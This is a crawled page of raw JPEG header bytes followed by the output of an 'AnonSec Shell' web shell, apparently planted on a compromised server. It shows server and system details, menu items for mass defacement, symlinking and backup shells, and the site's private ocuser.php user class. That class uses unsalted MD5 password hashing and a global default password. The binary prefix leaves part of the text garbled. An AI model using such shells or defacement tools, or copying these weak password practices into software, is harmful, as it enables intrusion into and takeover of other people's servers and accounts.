JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.44.28   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/ripara.co/app/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/ripara.co/app/helpers/ocuser.php
<?php
class OCUser extends DBLink
{
	const
		PERM_VIEW               = 0x000001,         // View regular content. For all users..
		PERM_REORDER            = 0x000002,         // Reorder elements 
		PERM_ADD                = 0x000004,         // Add new elements
		PERM_ADD_RESTRICTED     = 0x000008,         // Add new elements in restricted boxes (admins)
		PERM_DELETE_OWN         = 0x000010,         // Delete own elements
		PERM_DELETE_OTHERS      = 0x000020,         // Delete other's elements (admins)
		PERM_DELETE_RESTRICTED  = 0x000040,         // Delete elements in restricted boxes(amdins)
		PERM_EDIT_OWN           = 0x000080,         // Edit own elements
		PERM_EDIT_OTHERS        = 0x000100,         // Edit other's elements (admin)
		PERM_EDIT_RESTRICTED    = 0x000200,         // Edit elements in restricted boxes(amdins)
		PERM_EDIT_USER          = 0x000400,         // Add/delete/edit users (admins)
		PERM_USE_ADMINPANEL     = 0x000800,         // Access to the administration pages
		PERM_SEND_EMAIL         = 0x001000,         // Send email to user/group (admin)
		PERM_ADD_EMAIL          = 0x002000,         // Create/edit an email (admin)
		PERM_VIEW_USERSTATS     = 0x004000,         // See user's statistics, completed topics, times, etc. (admin)
		PERM_ADD_ADMIN          = 0x008000,         // Add admins (superadmin)
        PERM_ARCHIVE_ELEMENT    = 0x010000,
        PERM_DELETE_TOPIC       = 0x020000,         // Delete a topic. Should be superadmin only to avoid big mistakes
        PERM_JOIN_RESTRICTED    = 0x040000;         // Allow the user to join a restricted group.
		
    // This is used to test if a usertype falls in the 'administrators' category
    static function ContainsAdminPermission($testperm)
    {
        return $testperm & (
            self::PERM_ADD_RESTRICTED |
            self::PERM_DELETE_OTHERS |
            self::PERM_DELETE_RESTRICTED |
            self::PERM_EDIT_OTHERS |
            self::PERM_EDIT_RESTRICTED |
            self::PERM_EDIT_USER |
            self::PERM_USE_ADMINPANEL |
            self::PERM_SEND_EMAIL |
            self::PERM_VIEW_USERSTATS |
            self::PERM_ADD_ADMIN |
            self::PERM_ARCHIVE_ELEMENT
        );
    }

	protected $session;
	
	function __construct()
	{
		$this->session = new OCSession();
		parent::__construct(FILE_INI_MDADB);

        $this->SafeFetch("SET CHARACTER SET utf8 ");

        /*   */
     //   $this->mongo= new DBLinkMongo(FILE_INI_MDADB_MONGO);
        /* MONGO ADAPTER */

	}
	
    function GetUserid($username)
    {
        $qusername = $this->QuoteText($username);
        $query = "SELECT user.id_user FROM user WHERE username=$qusername LIMIT 1";
        $res = $this->SafeFetchOne($query);
        return $res;
    }
    
    /**
     * 
     * 
     * API updateUserPasswod
     */
    
    public function SetUserPassword($userid, $password)
    {
        $quserid = $this->QuoteInt($userid);
        $password = self::GetRealPassword($password);
        $qpassword = $this->QuoteText(self::HashPassword($password));

        $query = "UPDATE user SET password = $qpassword WHERE id_user = $quserid";

        if( $this->SafeExec($query) ) {
        	return true;
        } else {
            return false;
        }
        
        
        
    }
    
	// Returns user data on success, or null on failure
	public function checkPassword($username,$password)
	{
		$password = self::GetRealPassword($password);
		$res = $this->GetUserData($username,$password);
		return $res;
	}

	public function checkUsername($username)
	{
		
        $qusername = $this->QuoteText($username);
      
        $query = "SELECT COUNT(username) as value FROM user WHERE username LIKE $qusername";

        $res= $this->SafeFetchOne($query);

        return $res['value'];

	}
	
	public function checkValidEmail($email){
		
		if (filter_var($email, FILTER_VALIDATE_EMAIL)) {
			return true;
		}else{
			return false;
		}

	}

    
	// Returns user data on success, or null on failure
	function Login($username,$password)
	{
		$password = self::GetRealPassword($password);
		
		$res = $this->GetUserData($username,$password);
		$this->SetLoginStatus($res);

		return $res;
	}
	    
	function GetUserData($username, $password)
	{
		$qusername = $this->QuoteText($username);
		$qpassword = $this->QuoteText(self::HashPassword($password));
		$where = "WHERE email=$qusername AND password=$qpassword ";
		return $this->subGetUserData($where);
	}
	
	function GetUserDataById($userid)
	{
		$quserid = $this->QuoteInt($userid);
		$where = "WHERE user.id_user = $quserid ";
		return $this->subGetUserData($where);
	}
	
	
	/*
	 * 
	 * Used by the S3 API
	 * 
	 * 
	 */
	
	
	public function SetAvatarLocation($userid, $location) {
		return $this->subSetAvatarLocation($userid, $location);
	}
	
	// $where must begin with "WHERE" and end with a whitespace!
	protected function subSetAvatarLocation($userid, $location)
	{
		$quserid = $this->QuoteInt($userid);
		$qlocation = $this->QuoteText($location);
        $query = "UPDATE user SET avatar_location=$qlocation "
                ."WHERE id_user = $quserid"; 

         return $this->SafeExec($query);
	}
	
	
	
	
	
	// $where must begin with "WHERE" and end with a whitespace!
	protected function subGetUserData($where)
	{

		$query = "SELECT * "
				."FROM user "
				."INNER JOIN user_type USING (user_type_id) "
				.$where
				."LIMIT 1";


				//error_log($query);
		$res = $this->SafeFetchRow($query);


		//Set avatar location
		if(count($res)){
			if($res['avatar_location']){
	            $res['avatar_location']=API_URL_GETFILE.$res['avatar_location'];
	        }else{
	            $res['avatar_location']=DEFAULT_IMAGE;
	        }
	    }


		return $res;
	}

    // Redirects to a different page and die if the user is not logged in
    // Must be called before sending the headers.
	static function AssertUserIsLoggedIn($exiturl='index.php')
    {
        if (!self::IsLoggedIn())
        {
            header('Location: '.$exiturl);
            die();
        }
    }
    
	function Logout()
	{
		$this->SetLoginStatus(false);
		//if ($this->phpbbmgr)
		//{
		//	$this->phpbbmgr->Logout();
		//}
		unset($session);
	}
	
	// logindata: false = logout, array=login
	function SetLoginStatus($logindata)
	{
		if ($logindata)
		{
            $_SESSION['userdata'] = $logindata;
		}
		else{
			unset($_SESSION['userdata']);
		}
	}
    
    function LReloadLoginData()
    {
        $userid = self::LGetUserId();
        if ($userid)
            $this->SetLoginStatus($this->GetUserDataById($userid));
    }
	
    function GetAllUserTypes($usertypeid = null)
    {
        $qusertypeid = $this->QuoteInt($usertypeid);
        $where = $usertypeid?"WHERE user_type_id = $qusertypeid":"";
        $query = "SELECT user_type_id, name, description FROM user_type $where";
        return $usertypeid?$this->SafeFetchRow($query):$this->SafeFetch($query);
    }
    
    /**
     * 
     * 
     * ADMIN API
     * 
     */

    public function checkUniqueRfid($rfid){
    	$qrfid = $this->QuoteText(self::HashPassword($rfid));
    	$query = "SELECT * FROM user WHERE rfid = $qrfid";

        $result= $this->SafeFetch($query);

        foreach ($result as $key => $value) {
        	return false;
        }
        return true;
    
    }
    //RFID
	public function registraRfid($rfid, $id_user,$forza){
		$qid_user = $this->QuoteInt($id_user);
       	$qrfid = $this->QuoteText(self::HashPassword($rfid));		
		if($forza){
			
			$query = "UPDATE user SET rfid = $qrfid WHERE id_user = $qid_user";
    		$this->SafeExec($query);
			return true;
	    	
		}else{
			if($this->checkUniqueRfid($rfid)){
				$query = "UPDATE user SET rfid = $qrfid WHERE id_user = $qid_user";
	    		$this->SafeExec($query);
				return true;
	    	}else{
	    		return false;
	    	}	
		}
		
	}

	 //RFID
	public function cancellaRfid($rfid){
     	$qrfid = $this->QuoteText(self::HashPassword($rfid));		
        $query = "UPDATE user SET rfid = null WHERE rfid = $qrfid";
		$this->SafeExec($query);
		return true;
	}

	public function verificaRfid($rfid){
       	$qrfid = $this->QuoteText(self::HashPassword($rfid));		
		$query = "SELECT firstname, lastname FROM USER WHERE rfid = $qrfid";
    	return $this->SafeFetch($query)[0];		
	}

	
    
    public function getUtenti()
	{
		      
        $query = "SELECT * FROM user INNER JOIN user_type USING (user_type_id) order by firstname";

        $result= $this->SafeFetch($query);

        foreach ($result as $key => $value) {
			if($result[$key]['avatar_location']){
				$result[$key]['avatar_location']=API_URL_GETFILE.$result[$key]['avatar_location'];
			}else{
				$result[$key]['avatar_location']=DEFAULT_IMAGE;
			}
		}

        return $result;

	}

	  public function getDipendenti()
	{
		      
        $query = "SELECT * FROM user INNER JOIN user_type USING (user_type_id)  where user_type_id = 1000000 order by firstname";

        $result= $this->SafeFetch($query);

        foreach ($result as $key => $value) {
			if($result[$key]['avatar_location']){
				$result[$key]['avatar_location']=API_URL_GETFILE.$result[$key]['avatar_location'];
			}else{
				$result[$key]['avatar_location']=DEFAULT_IMAGE;
			}
		}

        return $result;

	}



	public function getUtenteInformazioni($id_user)
	{
		
		$qid_user = $this->QuoteInt($id_user);
        $query = "SELECT * FROM user INNER JOIN user_informazioni USING (id_user) WHERE user.id_user = $qid_user";

        $result= $this->SafeFetch($query);
        $result=$result[0];

		if($result['avatar_location']){
			$result['avatar_location']=API_URL_GETFILE.$result['avatar_location'];
		}else{
			$result['avatar_location']=DEFAULT_IMAGE;
		}

        return $result;

	}

	public function updateInformazioneUtente($informazioni, $id_user)
	{
		
		$qinformazioni = $this->QuoteText($informazioni);
		$qid_user = $this->QuoteInt($id_user);

		$query = "UPDATE user_informazioni SET informazioni = $qinformazioni WHERE id_user = $qid_user";

    	if($this->SafeExec($query)){
			return $id_user;
    	}else{
    		return 0;
    	}
       
	}


	public function updateInformazioniBaseUtente($firstname, $lastname, $genere, $datanascita, $ruolo, $location, $id_user)
	{
		
		$qfirstname = $this->QuoteText($firstname);
		$qlastname = $this->QuoteText($lastname);
		$qgenere = $this->QuoteText($genere);
		$qdatanascita = $this->QuoteText($datanascita);
		$qruolo = $this->QuoteText($ruolo);
		$qlocation = $this->QuoteText($location);

		$qid_user = $this->QuoteInt($id_user);
		$query = "UPDATE user SET firstname = $qfirstname, lastname = $qlastname  WHERE id_user = $qid_user";
		$this->SafeExec($query);

		$query = "UPDATE user_informazioni SET genere = $qgenere, location = $qlocation, data_di_nascita = $qdatanascita, ruolo = $qruolo  WHERE id_user = $qid_user";
     
    	if($this->SafeExec($query)){
			return $id_user;
    	}else{
    		return 0;
    	}     

	}

	public function updateInformazioniContattoUtente($cellulare, $email, $linkedin, $whatsapp, $facetime, $skype, $id_user)
	{
		
		$qcellulare = $this->QuoteText($cellulare);
		$qemail = $this->QuoteText($email);
		$qlinkedin = $this->QuoteText($linkedin);
		$qwhatsapp = $this->QuoteText($whatsapp);
		$qfacetime = $this->QuoteText($facetime);
		$qskype = $this->QuoteText($skype);

		$qid_user = $this->QuoteInt($id_user);
		$query = "UPDATE user SET email = $qemail WHERE id_user = $qid_user";
		$this->SafeExec($query);

		$query = "UPDATE user_informazioni SET cellulare = $qcellulare, linkedin = $qlinkedin, whatsapp = $qwhatsapp, skype = $qskype, facetime = $qfacetime  WHERE id_user = $qid_user";
     
    	if($this->SafeExec($query)){
			return $id_user;
    	}else{
    		return 0;
    	}     

	}

	public function updateFotoContattoUtente($avatar, $id_user)
	{
		//SE E' STATO CARICATO UN FILE
		$nome_file = $avatar[0];

		//SALVO FILE SU MONGO
		$aid_mongo = $this->mongo->storeFileJAM( $nome_file, $id_user, FILE_PROFILO_AVATAR);
		
		//AGGIORNO DB MYSQL CON ID FILE MONGO
		$id_mongo = $this->QuoteText($aid_mongo);
		$quserid = $this->QuoteInt($id_user);
		$query = "UPDATE user SET avatar_location = $id_mongo WHERE id_user = $quserid";
    	if($this->SafeExec($query)){
			return API_URL_GETFILE.$id_mongo;
    	}else{
    		return DEFAULT_IMAGE;
    	}
	}


	public function CreateUser($username, $firstname, $lastname, $email, $password, $usertypeid, $created_by, $sede)
	{
		$password = self::GetRealPassword($password);

		$qusername = $this->QuoteText($username);
		$qfirstname = $this->QuoteText($firstname);
		$qlastname = $this->QuoteText($lastname);
		$qemail = $this->QuoteText($email);
		$qusertypeid = $this->QuoteInt($usertypeid);
		$qpassword = $this->QuoteText(self::HashPassword($password));		
		$qcreated_by = $this->QuoteInt($created_by);
		$qsede = $this->QuoteInt($sede);

		$query = "INSERT INTO user (user_type_id, username, password, firstname, lastname, email, created_by, sede) "
				."VALUES ($qusertypeid, $qusername, $qpassword, $qfirstname, $qlastname, $qemail, $qcreated_by, $qsede)";
	
		$id_user = $this->SafeInsert($query);

		if($id_user){
			$qid_user = $this->QuoteInt($id_user);
			$query = "INSERT INTO user_informazioni (id_user) VALUES ($qid_user)";
			$id_user = $this->SafeInsert($query);
			return $id_user;
		}else{
			return -1;
		}

	}

	public function UpdateUser($username, $firstname, $lastname, $email, $password, $usertypeid, $update_by, $sede, $id)
	{


		$aid = $this->QuoteInt($id);
		$qusername = $this->QuoteText($username);
		$qfirstname = $this->QuoteText($firstname);
		$qlastname = $this->QuoteText($lastname);
		$qemail = $this->QuoteText($email);
		$qusertypeid = $this->QuoteInt($usertypeid);
		$qcreated_by = $this->QuoteInt($update_by);
		$qsede = $this->QuoteInt($sede);

		if($password){
			$password = self::GetRealPassword($password);
			$qpassword = $this->QuoteText(self::HashPassword($password));		

			$query = "UPDATE user set user_type_id=$qusertypeid, username=$qusername, password=$qpassword, firstname=$qfirstname, lastname=$qlastname, email=$qemail, created_by=$qcreated_by, sede=$qsede WHERE id_user = $aid ";
		}else{
			$query = "UPDATE user set user_type_id=$qusertypeid, username=$qusername, firstname=$qfirstname, lastname=$qlastname, email=$qemail, created_by=$qcreated_by, sede=$qsede WHERE id_user = $aid ";
		}
		$this->SafeExec($query);
		return $aid;
    	
	}


	public function deleteUser($id){
		$aid = $this->QuoteInt($id);	
		$query = "DELETE FROM user WHERE id_user = $aid";
    	return $this->SafeExec($query);
	}


	public function getGroups(){ 
		$query = "SELECT * FROM groups";
        return $this->SafeFetch($query);
	}

	public function getGroupUsersById($id){ 
		$aid = $this->QuoteText($id);	
		$query = "SELECT * FROM usergroup INNER JOIN user ON usergroup.id_user = user.id_user WHERE usergroup.group_id = $aid";
        return $this->SafeFetch($query);
	}

	public function getGroupsUsersByIdLdap($id){ 
		$aid = $this->QuoteText($id);	
		$query = "SELECT * FROM usergroup WHERE usergroup.id_user = $aid";
        $res = $this->SafeFetch($query);

        $toReturn=array();
        foreach ($res as $key => $value) {
        	$toReturn[] = $value['group_id'];
        }
        return $toReturn;
	}

	public function getPagesFromGroups($gruppi){ 
		$pagine = array();

		foreach ($gruppi as $gruppo) {
			$pagine_= array();
			$aidGruppo= $this->QuoteInt($gruppo);	
			$query = "SELECT * FROM groups WHERE groups.group_id = $aidGruppo";
        	$gr = $this->SafeFetch($query);
        	$gr = $gr[0];
        	if($gr['permessi']){
	        	$pagine_ = json_decode($gr['permessi']);
	        	if(count($pagine_)){
	        		$pagine = array_merge($pagine,$pagine_);
	        	}
	        }
			
		}
        return $pagine;
	}

	public function getGroupUsersIdsById($id, $others){ 
		$aid = $this->QuoteText($id);	

		$othersIds = array();
		foreach ($others as $key => $value) {
			$othersIds[] = $value['id_user'];
		}


		$query = "SELECT * FROM usergroup WHERE usergroup.group_id = $aid";
        $ret = $this->SafeFetch($query);

        $toReturn = array();
        foreach ($ret as $key => $value) {
        	
        	if(!in_array($value['id_user'], $othersIds) && !is_numeric($value['id_user'])){
				$ret[$key]['firstname'] = $value['id_user'];
				$toReturn[] = $ret[$key];
			}

        }

        return $toReturn;
	}


	public function insertGroup($title, $description, $permessi){
		$atitle = $this->QuoteText($title);
		$adescription = $this->QuoteText($description);	
		$apermessi = $this->QuoteText($permessi);
		$query = "INSERT INTO groups (title, description, permessi) "
				."VALUES ($atitle, $adescription, $apermessi)";//, $qpassword, $qfirstname, $qlastname, $qemail, $qcreated_by)";
		return $this->SafeInsert($query);

	}
	
	public function editGroup($id, $title, $description, $permessi){
		$aid = $this->QuoteInt($id);
		$atitle = $this->QuoteText($title);
		$adescription = $this->QuoteText($description);
		$apermessi = $this->QuoteText($permessi);
		$query = "UPDATE groups SET title = $atitle, description = $adescription, permessi=$apermessi WHERE group_id = $aid";
    	return $this->SafeExec($query);

	}
	
	public function deleteGroup($id){
		$aid = $this->QuoteInt($id);	
		$query = "DELETE FROM groups WHERE group_id = $aid";
    	return $this->SafeExec($query);
	}
	
	public function addUserToGroup($id_group, $id_user){		
		$qid_group = $this->QuoteInt($id_group);
		$qid_user = $this->QuoteText($id_user);
		$query = "INSERT INTO usergroup (id_user, group_id) VALUES ($qid_user, $qid_group)";
		return $this->SafeExec($query);
	}

	public function removeUserFromGroup($id_group, $id_user){
		$qid_group = $this->QuoteInt($id_group);
		$qid_user = $this->QuoteText($id_user);
		$query = "DELETE FROM usergroup WHERE group_id = $qid_group and id_user LIKE $qid_user";
    	return $this->SafeExec($query);
	}

	public function checkUserToGroup($id_group, $id_user){		
		$qid_group = $this->QuoteInt($id_group);
		$qid_user = $this->QuoteText($id_user);
		$query = "SELECT * FROM usergroup WHERE id_user=$qid_user AND group_id=$qid_group LIMIT 1";
        return $this->SafeFetchOne($query);
	}







	
	public function CreateUserCsv($file, $schema, $token, $groupid)
	{

		$csvData = file_get_contents($file);
		$lines = explode(PHP_EOL, $csvData);
		$toReturn = array();

		foreach ($lines as $line) {
		    
			$line = str_replace("\r", " ", $line);
		    
		    $user = explode($token, $line);

			if($this->checkUsername($user[0])){

				$toReturn[] = "User " . $user[1] . " " . $user[2] . " NOT CREATED, email " . $user[0] . " alredy exist!";

			}else if(!$this->checkValidEmail($user[0])){

				$toReturn[] = "User " . $user[1] . " " . $user[2] . " NOT CREATED, email " . $user[0] . " not valid!";

			}else{

			    switch($schema){
					
					case "email;firstname;lastname":{
						if($this->CreateUser($user[0],$user[1],$user[2],$user[0],null,151 /* is usertype=user */,$groupid)){
							$toReturn[] = "User " . $user[1] . " " . $user[2] . " created with email " . $user[0];
						}else{
							$toReturn[] = "User " . $user[1] . " " . $user[2] . " NOT CREATED ";
						}
					}break;
					case "firstname;lastname;email":{
						if($this->CreateUser($user[2],$user[0],$user[1],$user[2],null,151 /* is usertype=user */,$groupid)){
							$toReturn[] = "User " . $user[1] . " " . $user[2] . " created with email " . $user[0];
						}else{
							$toReturn[] = "User " . $user[1] . " " . $user[2] . " NOT CREATED ";
						}
					}break;
					case "lastname;firstname;email":{
						if($this->CreateUser($user[2],$user[1],$user[0],$user[2],null,151 /* is usertype=user */,$groupid)){
							$toReturn[] = "User " . $user[1] . " " . $user[2] . " created with email " . $user[0];
						}else{
							$toReturn[] = "User " . $user[1] . " " . $user[2] . " NOT CREATED ";
						}
					}break;

				}

			}

		}
		
		return $toReturn;
	}


		

    public function SaveUserData($userid, $email, $firstname, $lastname, $type) {
    	
        $qfirstname = $this->QuoteText($firstname);
        $qusername = $this->QuoteText($email);
        $qlastname = $this->QuoteText($lastname);
        $qemail = $this->QuoteText($email);
        $quserid = $this->QuoteInt($userid);
        $qtype = $this->QuoteInt($type);

        $query = "UPDATE user SET username=$qusername, firstname=$qfirstname, lastname=$qlastname, email=$qemail, user_type_id=$qtype "
                ."WHERE id_user = $quserid";
                
        return $this->SafeExec($query);
    }
    
    
    function UpdateUserType($userid, $usertypeid)
    {
        $quserid = $this->QuoteInt($userid);
        $qusertypeid = $this->QuoteInt($usertypeid);
        
        $query = "UPDATE user SET user_type_id = $qusertypeid WHERE id_user = $quserid";
        return $this->SafeExec($query);
    }
    
	static function IsLoggedIn()
	{
		return isset($_SESSION) && isset($_SESSION['userdata']);
	}
	
	static function HashPassword($password)
	{
		return md5($password);
	}
    
    static function GetRealPassword($password)
    {
        return (!$password)?GLOBAL_PASSWORD:$password;
    }
	
	static function HasPermission($userperm, $requestedperm)
	{
		return $requestedperm == $userperm & $requestedperm;
	}
    
	// Functions for logged-in users
	static function LHasPermission($requestedperm)
	{
		return $requestedperm == (OCUser::LGetUserType() & $requestedperm);
	}
	
	static function LGetUserType()
	{
		return self::IsLoggedIn()?$_SESSION['userdata']['user_type_id']:ANONYMOUS_USER_TYPE;
	}
	
	static function LGetUserId()
	{
		return self::IsLoggedIn()?$_SESSION['userdata']['id_user']:null;
	}
	
	static function LGetUserData()
	{
		return $_SESSION['userdata'];
	}
		
	static function LStoreLocationKey($locationkey)
	{
		$_SESSION['locationkey'] = $locationkey;
	}
	
	static function LGetLocationKey()
	{
		return (isset($_SESSION) && isset($_SESSION['locationkey']))?$_SESSION['locationkey']:NULL;
	}
	
	static function LStoreVisitId($visitid)
	{
		$_SESSION['visitid'][$visitid] = 1;
	}
	
	static function LValidateVisitId($visitid)
	{
		return isset($_SESSION['visitid'][$visitid]);
	}
	
	static function LRemoveVisitId($visitid)
	{
		if (self::LValidateVisitId($visitid))
			unset ($_SESSION['visitid'][$visitid]);
	}

	
	// -----------------------------------------------------------------------------------------------
	// Administration functions
	
	function FetchAllUsers()
	{
		include_once 'app/helpers/util.php';
		$query = "SELECT user.id_user, user.user_type_id, user.username, user.firstname, user.email, user_type.name AS typename, usergroup.group_id, group.title AS grouptitle "
				."FROM user "
				."LEFT JOIN user_type USING (user_type_id) "
				."LEFT JOIN usergroup USING (id_user) "
				."LEFT JOIN `group` USING (group_id) ";
		$res = $this->SafeFetch($query);
		
		$newlist = Utils::ArrayRedefineKeys($res,'user_id');
		return $newlist;
	}
	
	
}
?>

Anon7 - 2022
AnonSec Team